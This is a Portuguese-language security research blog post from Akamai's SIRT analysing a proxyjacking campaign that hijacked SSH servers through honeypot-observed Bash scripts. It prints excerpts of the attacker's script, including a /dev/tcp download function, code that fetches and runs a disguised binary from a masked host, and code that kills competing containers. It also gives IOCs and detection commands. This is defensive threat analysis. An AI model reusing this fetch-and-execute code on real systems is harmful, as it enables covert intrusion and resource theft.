Precisa de computação em nuvem? Comece agora mesmo

Proxyjacking: A mais recente atividade secundária dos cibercriminosos

Allen West

escrito por

Allen West

June 29, 2023

Allen West

escrito por

Allen West

Allen West é um pesquisador de segurança da equipe de resposta de inteligência de segurança da Akamai que adora investigar ameaças e criar ferramentas. Atualmente, ele está fazendo mestrado em Segurança e Garantia da Informação pela Carnegie Mellon University. Ele é bacharel em Segurança Cibernética pela Northeastern University e veterano do Corpo de Fuzileiros Navais. Durante seu tempo livre, Allen adora viajar, caminhar, nadar, praticar todo tipo de aventura ao ar livre.

Embora o proxyjacking já exista há algum tempo, só recentemente começou a ser usado estritamente para fins lucrativos, que é o que observamos nessa campanha.

Comentários editoriais e adicionais por Tricia Howard

Resumo executivo

  • A SIRT (Equipe de Resposta de Inteligência de Segurança) da Akamai descobriu uma campanha de proxyjacking que visa servidores SSH vulneráveis e, em seguida, lança serviços Docker que compartilham a largura de banda da vítima em troca de dinheiro.

  • Esta campanha usa um servidor da Web comprometido para distribuir as dependências necessárias,  procura ativamente e remove instâncias concorrentes e emprega técnicas de ofuscação para evitar a detecção.

  • O Proxyjacking tornou-se a mais nova maneira de os cibercriminosos ganharem dinheiro com dispositivos comprometidos em um ecossistema corporativo e no ecossistema do consumidor. É uma alternativa mais furtiva ao cryptojacking e tem implicações sérias que podem aumentar as dores de cabeça que os ataques proxied da Camada 7 já causam.

Introdução

No mundo em constante evolução das ciberameaças, os invasores buscam continuamente estratégias inovadoras para maximizar seus ganhos e, ao mesmo tempo, minimizar seus esforços. O exemplo mais recente disso foi descoberto em um dos honeypots distribuídos globalmente pela SIRT da Akamai  no início de junho: proxyjacking com fins lucrativos.

Embora o conceito de proxyjacking não seja novo, a capacidade de monetizá-lo facilmente como afiliados de empresas tradicionais é. Fornecer um caminho simples para o ganho financeiro torna esse vetor uma ameaça tanto para o mundo corporativo quanto  para o consumidor comum, aumentando a necessidade de conscientização e, espera-se, de mitigação. O cenário de ameaças emergentes é marcado por atores como Meris e Anonymous Sudan, e quando esse cenário é combinado com o aumento notável nos ataques da Camada 7 propagados por redes proxy, há um valor monetário substancial no acúmulo de uma grande quantidade de proxies utilizáveis.   

Nesta publicação, vamos nos aprofundar em uma nova campanha de proxyjacking descoberta por nossos pesquisadores de segurança na SIRT. Essa é uma campanha ativa na qual o invasor utiliza o SSH para acesso remoto, executando scripts mal-intencionados que, furtivamente, alistam os servidores das vítimas em uma rede proxy ponto a ponto (P2P), como Peer2Proxy ou Honeygain. 

Isso permite que o invasor monetize a largura de banda extra de uma vítima desavisada, com apenas uma fração da carga de recursos que seria necessária para a criptografia, com menos chance de descoberta. 

Descreveremos os detalhes técnicos da campanha e exploraremos o perfil de ameaça de proxyjacking para obter lucro. Também faremos sugestões para mitigações. Esperamos trazer esse novo caso de uso de uma técnica mais antiga para o primeiro plano.

O que é proxyjacking?

O Cryptojacking tornou-se bastante conhecido em todo o mundo: Os recursos das vítimas são roubados para contribuir para um pool de mineração em troca de dinheiro dado ao invasor. Uma técnica menos conhecida que aumentou é recentemente chamada de proxyjacking. 

Com o proxyjacking, o invasor não apenas rouba recursos, mas também aproveita a largura de banda não utilizada da vítima. O sistema da vítima é secretamente usado para executar vários serviços como um nó de proxy P2P que os invasores começaram recentemente a monetizar por meio de organizações como Peer2Profit ou Honeygain. Essas empresas oferecem ao usuário comum a oportunidade de ser pago por sua largura de banda extra, uma perspectiva atraente e legítima para muitas pessoas e entidades. 

No entanto, esses websites muitas vezes não fazem perguntas sobre como o novo nó de proxy foi adquirido, que é onde começa a ilegitimidade. Embora o proxyjacking já exista há algum tempo, só recentemente começou a ser usado estritamente para fins lucrativos, que é o que observamos nessa campanha.

Qual é o valor de um proxy para um cibercriminoso?

O valor dos proxies para cibercriminosos é inerente à sua capacidade de ofuscar seus caminhos, tornando imensamente desafiador rastrear a origem das atividades ilícitas. Essa ofuscação é obtida pelo roteamento do tráfego mal-intencionado por meio de vários nós pares antes de chegar ao seu destino. A Figura 1 ilustra isso e mostra como as pessoas trocam abertamente o acesso a proxies, permitindo um caminho diversificado para seu tráfego. 

Essa lista específica foi encontrada como resultado de publicações online vinculadas ao IP principal no qual esta investigação se concentrou, e continha mais de 16.500 outros proxies abertos com ela. Com o aumento do proxyjacking, fica claro que nem todos esses nós estão participando  como pares dispostos nessa rede. Essa lista também não é, de forma alguma, completa, pois também foram encontradas muitas outras publicações.

abrir a captura de tela da lista de proxies Fig. 1: Lista compartilhada de proxies abertos postados em um fórum online (IPs elaborados)

Na campanha discutida nesta publicação, nosso foco não está em proxies classicamente "abertos", pois empresas como a Peer2Profit e a Honeygain afirmam que só compartilham seus proxies com parceiros teoricamente aprovados. Os incentivos oferecidos por estas empresas para contribuir para as redes de proxy, no entanto, não só atraem instalações legítimas para o rendimento passivo, mas também aqueles que tentam explorar o sistema às custas de outras pessoas.

Da mesma forma, os serviços reais que eles fornecem certamente atrairão empresas legítimas e agentes de ameaça. Esse caso, portanto, serve como um grande lembrete das possíveis implicações de segurança desses serviços aparentemente benéficos.

Sorria, você está sendo filmado pela câmera do Cowrie!

Essa campanha específica surgiu pela primeira vez em 8 de junho de 2023. Nossa equipe notou que um invasor estava estabelecendo várias conexões SSH com um de nossos honeypots Cowrie (Figura 2), um ativo gerenciado pela SIRT. Graças aos nossos recursos completos de controle e monitoramento desse honeypot, conseguimos rastrear e documentar todas as ações realizadas pelos invasores, que foram executadas principalmente por meio de scripts Bash codificados.

invasor estabelecendo várias conexões SSH com um de nossos honeypots Cowrie Fig. 2: Mapeamento de uma campanha de proxyjacking em honeypots SSH

O primeiro procedimento do invasor foi empregar um script Bash codificado em Base64 (Figura 3), uma técnica comum usada para obscurecer a verdadeira funcionalidade do script e escapar dos sistemas de segurança.

o primeiro procedimento do invasor foi empregar um script Bash duplo codificado em Base64 Fig. 3: O script Bash codificado do invasor

Após a decodificação bem-sucedida do script Bash ofuscado, obtivemos uma visão não obstruída do modus operandi de proxyjacking do invasor. Com o registro desse script decodificado, poderíamos dissecar meticulosamente a natureza e a sequência de operações pretendidas pelo invasor.

Interromper, implantar e desaparecer

Esse script decodificado transforma efetivamente o sistema comprometido em um nó na rede proxy Peer2Profit, usando a conta especificada por $PACCT como o afiliado que lucrará com a largura de banda compartilhada. O mesmo foi encontrado em uma instalação Honeygain pouco tempo depois. O script foi projetado para ser furtivo e robusto, tentando operar independentemente do software instalado no sistema host.

O script começou definindo algumas funções para uso posterior, sendo que a primeira delas foi uma implementação rudimentar de curl:

  function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

Isso foi usado na segunda função para baixar uma versão real do curl (hospedada no servidor de distribuição como "csark.css". Parece que o curl tem tudo o que é necessário para que esse esquema funcione, portanto, se ele não estiver presente no host da vítima, o invasor fará o download em seu nome.

  c(){
  if ! command -v curl &>/dev/null;then
    __curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
    if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
      echo "could not get curl"
      exit
    fi
    chmod +x curl
    export PATH=$PWD:$PATH
  fi
}

De acordo com nossa análise, essa é realmente apenas uma distribuição regular de curl sem muita, ou qualquer, modificação. É possível que haja uma funcionalidade adicional dentro dela, seja para melhorar o desempenho ou para fins mal-intencionados, mas, agora, não temos razão para acreditar que seja esse o caso. 

O que é realmente interessante sobre este executável é que, embora seja listado como completamente benigno por todos os fornecedores terceiros (Figura 4), este foi o artefato inicial que nos levou a investigar mais profundamente. Essa reputação limpa reforça ainda mais a afirmação de que essa é apenas uma distribuição padrão do utilitário curl. Foi a capacidade de analisar a fonte do artefato que o levou de um código inofensivo ao que agora sabemos fazer parte de um esquema de proxyjacking. Isso destaca a importância de poder isolar todos os artefatos incomuns, não apenas aqueles considerados mal-intencionados.

captura de tela da aplicação de curl baixada Fig. 4: Nesta captura de tela vemos uma reputação limpa para a aplicação de curl baixada

O invasor também define outra função a ser movida para um local gravável e executável, como /dev/shm ou /tmp. Se nenhum diretório adequado for encontrado, o executável será fechado.

  d(){
  cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  #mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
  echo "no suitable dir"
  exit
}

A função final definida no script faz algum trabalho para configurar o bot, mas a chamada dessa função é realmente comentada no script principal e substituída por um código potencialmente mais funcional. O restante do código é onde a maior parte da ação acontece. 

Não podemos compartilhar todo esse código por motivos de segurança, mas podemos fazer referência a partes dele para que você possa ter uma ideia do que estamos falando. Certas partes do código são elaboradas com o uso de [...].

Os scripts começam verificando se seu próprio contêiner já está em execução:

  if ps axjf|[...]|grep […] "$PACCT";then
  echo "already running"
  exit

Em seguida, eles verificam a existência de outros contêineres que executam contêineres rivais de compartilhamento de largura de banda e os matam.

  if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
  for con in [...];do
    if ! docker [...]|grep [...] "$PACCT";then
      [...]
      docker stop -t 10 $con
      docker stop -s KILL $con
      docker stop $con
      echo "killed container: $con"
    fi
  done
fi

Eles continuam e criam um diretório de trabalho, em seguida, baixam uma imagem do Docker a partir de repositórios públicos do Docker que contêm os programas de compartilhamento de recursos, nomeando-a comopostfixd`. A partir daí, eles simplesmente seguem as instruções disponíveis publicamente para baixar e descompactar camadas do Docker para a imagem, excluir alguns artefatos restantes e depois se retirar.

  cd .. && rm -rf pfp

O valor da largura de banda diversificada da Internet

Os esquemas de monetização de proxy de P2P encontrados nesta campanha foram Peer2Profit e Honeygain, ambos com imagens públicas do Docker com mais de 1 milhão de downloads (Figura 5).

Captura de tela da imagem do Docker Fig. 5: Imagem pública do Docker da Honeygain com 1 milhão de downloads

Nesses casos de proxyjacking, o proxy está sendo usado por empresas teoricamente legítimas, mas potencialmente inescrupulosas, para fins como coleta de dados e publicidade (Figura 6). Algumas dessas empresas até permitem que você veja exatamente como seu tráfego está sendo usado.

Captura de tela do website Peer2Profit Fig. 6: Captura de tela do website Peer2Profit

Essas aplicações não são inerentemente mal-intencionadas; elas são estabelecidas como serviços voluntários que oferecem aos usuários a oportunidade de compartilhar sua largura de banda da Internet não utilizada em troca de compensação monetária (Figura 7). O acordo é bastante simples, mas algumas dessas empresas não verificam adequadamente a origem dos IPs na rede e, ocasionalmente, sugerem que as pessoas instalem o software em seus computadores de trabalho.

Imagem do Peer2Profit Fig. 7: Nesta imagem do Peer2Profit vemos como o serviço funciona (fonte: https://peer2profit.com/)

Quando uma atividade legítima se transforma em crime cibernético

O cenário muda drasticamente quando uma aplicação é implantada sem o conhecimento ou consentimento do usuário e explora efetivamente seus recursos. É aqui que o ato aparentemente inofensivo de usar esses serviços se transforma no domínio do crime cibernético. O invasor, ao se apoderar de vários sistemas e de sua largura de banda, amplia efetivamente seus possíveis ganhos com o serviço, tudo às custas das vítimas.

Esse cenário tem uma semelhança marcante com a diferença entre criptomineração e criptojacking. A criptomineração em si é uma atividade legítima, na qual os indivíduos usam recursos computacionais para minerar criptomoedas. No entanto, quando evolui para criptojacking, envolve o uso não autorizado dos recursos de computação de outra pessoa para mineração, transformando uma atividade inofensiva em mal-intencionada.

Vamos dar uma olhada no servidor de distribuição

Nossa investigação nos levou a examinar o servidor que estava sendo usado para extrair o binário curl usado no script Bash mal-intencionado. Um ataque sem arquivo, que continuou a depender de um servidor de distribuição para a execução adequada. 

Ao examinar o website, chegamos rapidamente à conclusão de que esse era um servidor Web comprometido que estava sendo usado como uma forma de distribuir vários componentes para ataques. Conseguimos rastrear este website até uma empresa na Líbia especializada em "materiais de construção de alta qualidade". 

Nossa primeira etapa da avaliação foi analisar o que mais estava sendo hospedado (Figura 8) no mesmo caminho que o binário curl (csark.css, se você se lembra).

uma lista do que foi hospedado Fig. 8: Uma lista do que foi hospedado em um servidor da Web comprometido

Por meio de uma análise das tecnologias com as quais este servidor Web foi criado, descobrimos que ele tinha vários componentes desatualizados e sem manutenção. Este caminho de website é usado especificamente em suporte a uma biblioteca, chamada metro-bootstrap, que não é mais mantida. Ao se familiarizar com esta biblioteca, conseguimos contabilizar os três arquivos modificados pela última vez em 2014. 

Os arquivos mais recentes, no entanto, nos levaram a acreditar que esse servidor foi comprometido e agora está sendo usado como ponto de download para várias atividades. Para analisar esses arquivos, usamos `wget -r` para fazer o download de todos eles.

O módulo csdark.css é o executável curl que discutimos anteriormente e, ao examinar as datas, podemos deduzir que metro-bootstrap.min.xcss pode ter servido como um tipo de carregamento de arquivo de teste, com csdark.css sendo adicionado no dia seguinte. Isso deixou vksp como não contabilizado. De acordo com a seguinte entrada do VirusTotal (Figura 9), vksp é, na verdade, um programa com o nome perfcc, um criptominerador específico do Linux.

Entrada do VirusTotal Fig. 9: Nesta captura de tela vemos o perfcc sinalizado como mal-intencionado no VirusTotal

Fizemos uma pequena análise nesse arquivo e descobrimos que ele, na verdade, continha um utilitário de criptomineração, além de muitas outras explorações e ferramentas comuns de hacking.

  ~/.local/bin$ ls
  addcomputer.py  exchanger.py        getST.py          ldd2pretty            normalizer     
  raiseChild.py     secretsdump.py  split.py
  atexec.py       findDelegation.py   getTGT.py         lookupsid.py          ntfs-read.py   
  rbcd.py           services.py     ticketConverter.py
  crontab         flask               GetUserSPNs.py    machine_role.py       ntlmrelayx.py  
  rdp_check.py      smbclient.py    ticketer.py
  cygdb           futurize            goldenPac.py      mimikatz.py           pasteurize     
  registry-read.py  smbexec.py      top
  cython          GetADUsers.py       karmaSMB.py       mqtt_check.py         ping6.py       
  reg.py            smbpasswd.py    wmiexec.py
  cythonize       getArch.py          keylistattack.py  mssqlclient.py        ping.py        
  rpcdump.py        smbrelayx.py    wmipersist.py
  dcomexec.py     Get-GPPPassword.py  kintercept.py     mssqlinstance.py      
  psexec.py      rpcmap.py         smbserver.py    wmiquery.py
  dpapi.py        GetNPUsers.py       ldapdomaindump    netview.py            ps.old         
  sambaPipe.py      sniffer.py
  esentutl.py     getPac.py           ldd2bloodhound    nmapAnswerMachine.py  
  __pycache__    samrdump.py       sniff.py

Essa descoberta fez muito sentido para nós, já que seria lógico que os agentes de ameaças que historicamente se apegaram ao cryptojacking como fonte de receita agora se voltariam, ou pelo menos complementariam essa atividade, com o proxyjacking. Ver esses dois executáveis hospedados no mesmo website comprometido serviu como uma pequena prova do tipo de atores que perceberão imediatamente o valor nesta nova estratégia de monetização.

Relevância do cenário de impactos e ameaças

O surgimento do proxyjacking para fins lucrativos segue muitas outras formas de esquemas criminosos de geração de dinheiro por meio de dispositivos comprometidos. A comparação mais óbvia é o criptojacking, mas a estratégia de pegar um serviço legítimo e abusar de sua lucratividade por meios criminosos é ainda mais antiga. 

Outro exemplo importante é o fato de que as origens do spam em grande parte começaram com marketing afiliado, uma prática muito comum até hoje. Algumas empresas pagariam você pelo clique, desde que você levasse clientes ao website delas, e muitas ignoravam o fato de que as pessoas estavam usando spam com o mesmo propósito. Enquanto esses incentivos existirem e as empresas estiverem dispostas a ignorar a ética do fornecimento, serão criados setores criminosos em torno da exploração dessas práticas. 

Há outro fato sobre o acúmulo de proxies que o tornam particularmente relevante e relacionado a: O proxyjacking aborda essencialmente a única desvantagem significativa do cryptojacking: a detecção por meio do alto uso da CPU. Ao exigir o mínimo de CPU e, em vez disso, contar com a largura de banda não utilizada da Internet, o proxyjacking pode evitar alguns dos meios de detecção usados anteriormente para criptojacking

Como se defender contra o proxyjacking

Menos uso da CPU significa que há uma ênfase ainda maior nas soluções de IDS/IPS para mitigar o proxyjacking de uma perspectiva corporativa. O usuário comum deve implementar fundamentos sólidos de segurança, como o uso de senhas complicadas e armazená-las em um gerenciador de senhas, empregando patches para aplicações e para habilitar aMFA(Autenticação multifator) sempre que possível. Os usuários com conhecimento mais profundo da segurança de computadores podem ainda permanecer vigilantes, prestando atenção aos contêineres que estão atualmente em execução, monitorando o tráfego de rede em busca de anomalias e até mesmo executando verificações de vulnerabilidade regularmente.

Nesta campanha em particular, vimos o uso do SSH para obter acesso a um servidor e instalar um contêiner do Docker, mas as campanhas anteriores também exploraram vulnerabilidades da Web. Se você verificar seus serviços locais do Docker em execução e encontrar qualquer compartilhamento indesejado de recursos em seu sistema, você deve investigar a invasão, determinar como o script foi carregado e executado e realizar uma limpeza completa. 

Verifique se há outros sinais de invasão ou comprometimento. Altere todas as senhas, verifique se todos os softwares estão atualizados e considere a implementação de uma diretiva de segurança mais rigorosa. Além disso, você deve considerar a contratação de serviços profissionais de resposta a incidentes se o sistema afetado for confidencial ou contiver dados valiosos.

Além da natureza sorrateira desses ataques, os proxies abertos servem como uma ferramenta crucial no arsenal do cibercriminoso, com organizações criminosas como Meris e Anonymous Sudan demonstrando como os ataques proxies podem ser devastadores e dolorosos. Com um aumento contínuo dos ataques da Camada 7, esse problema só continuará a aumentar, e a dependência dessas empresas de rede proxy para gerenciar adequadamente seus parceiros é um mecanismo de defesa muito ruim e uma garantia fraca.

Resumo

Técnicas antigas permanecem eficazes, especialmente quando combinadas com novos resultados. O proxyjacking monetizado é um ótimo exemplo disso, e certamente veremos o surgimento de novas táticas, especificamente centradas nessa classe de ataques. Este vetor destaca mais uma vez a necessidade de sólidos fundamentos. As práticas de segurança padrão continuam sendo um mecanismo de prevenção eficaz, incluindo senhas fortes, gerenciamento de patches e registro meticuloso.

Se você está preocupado com o proxyjacking para sua organização ou seus ativos pessoais, é fundamental manter a vigilância. Como sempre, a SIRT da Akamai continuará a monitorar essas ameaças e muito mais e fornecerá informações adicionais à medida que surgirem. Para ver mais pesquisas de segurança inovadoras, siga-nos no Twitter.

IOCs

  • Hashes
    • 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a  - vksp
    • 72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a

  • Verificar se há proxyjacking indesejado
    •         
      docker ps | grep -q peer2profit

    • docker ps | grep -q honeygain

 



Allen West

escrito por

Allen West

June 29, 2023

Allen West

escrito por

Allen West

Allen West é um pesquisador de segurança da equipe de resposta de inteligência de segurança da Akamai que adora investigar ameaças e criar ferramentas. Atualmente, ele está fazendo mestrado em Segurança e Garantia da Informação pela Carnegie Mellon University. Ele é bacharel em Segurança Cibernética pela Northeastern University e veterano do Corpo de Fuzileiros Navais. Durante seu tempo livre, Allen adora viajar, caminhar, nadar, praticar todo tipo de aventura ao ar livre.